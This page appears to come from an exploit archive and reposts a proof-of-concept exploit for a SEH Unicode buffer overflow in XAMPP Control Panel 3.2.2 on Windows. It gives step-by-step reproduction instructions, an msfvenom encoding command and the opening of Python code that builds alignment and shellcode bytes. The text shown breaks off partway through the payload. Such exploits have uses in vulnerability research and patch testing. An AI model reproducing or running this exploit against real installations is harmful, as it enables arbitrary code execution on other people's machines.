Exploits / Vulnerability Discovered : 2018-11-13 |
Type : local |
Platform : windows
This exploit / vulnerability Xampp control panel 3.2.2 buffer overflow (seh) (unicode) is for educational purposes only and if it is used you will do on your own risk!
[+] Code ...
# Exploit Title: XAMPP Control Panel 3.2.2 - Buffer Overflow (SEH) (Unicode)
# Exploit Author: Gionathan "John" Reale (0-day DoS exploit), Semen Alexandrovich Lyhin (1-day fully working exploit).
# Shellcode Author: Giuseppe D'Amore (EDB:28996)
# Date: 2018-11-08.
# Software: XAMPP
# Version: 3.2.2 / 7.2.9 (Newest version at time of writing)
# Download: https://sourceforge.net/projects/xampp/files/XAMPP%20Windows/7.2.9/xampp-portable-win32-7.2.9-0-VC15-installer.exe/download
# Tested on: Windows 10 64bit with XAMPP 32bit. Should work on any Windows since XP.
# Special thanks to Deloitte Ukraine for providing a few payed hours to create this exploit.
# Steps to Reproduce:
# Run the python exploit script, it will create a new file with the name "exploit.txt".
# Copy the contents of "exploit.txt"
# Start the program and click "Config (Top Right With Symbol)"
# Paste the contents of "exploit.txt" into the following field: "Editor".
# Click "Save" and then in the main window Click "Config" > "Apache (httpd.conf)".
# You will see that arbitrary code is executed. It should pop a messagebox.
#cat 28996.bin | msfvenom -p - -a x86 --platform win -f py -e x86/unicode_mixed BufferRegister=EAX
#Length is 352, but double it.
ven = "\x53" #push esi
ven += "\x43" #align
ven += "\x58" #pop eax
ven += "\x43" #align
ven += "\x05\x50\x11" #add eax,11005000
ven += "\x43" #align
ven += "\x2d\x1c\x11" #sub eax,33001700
ven += "\x43" #align
ven += "\x48" #dec eax
ven += "\x43" #align
ven += "\x43"*2 #nops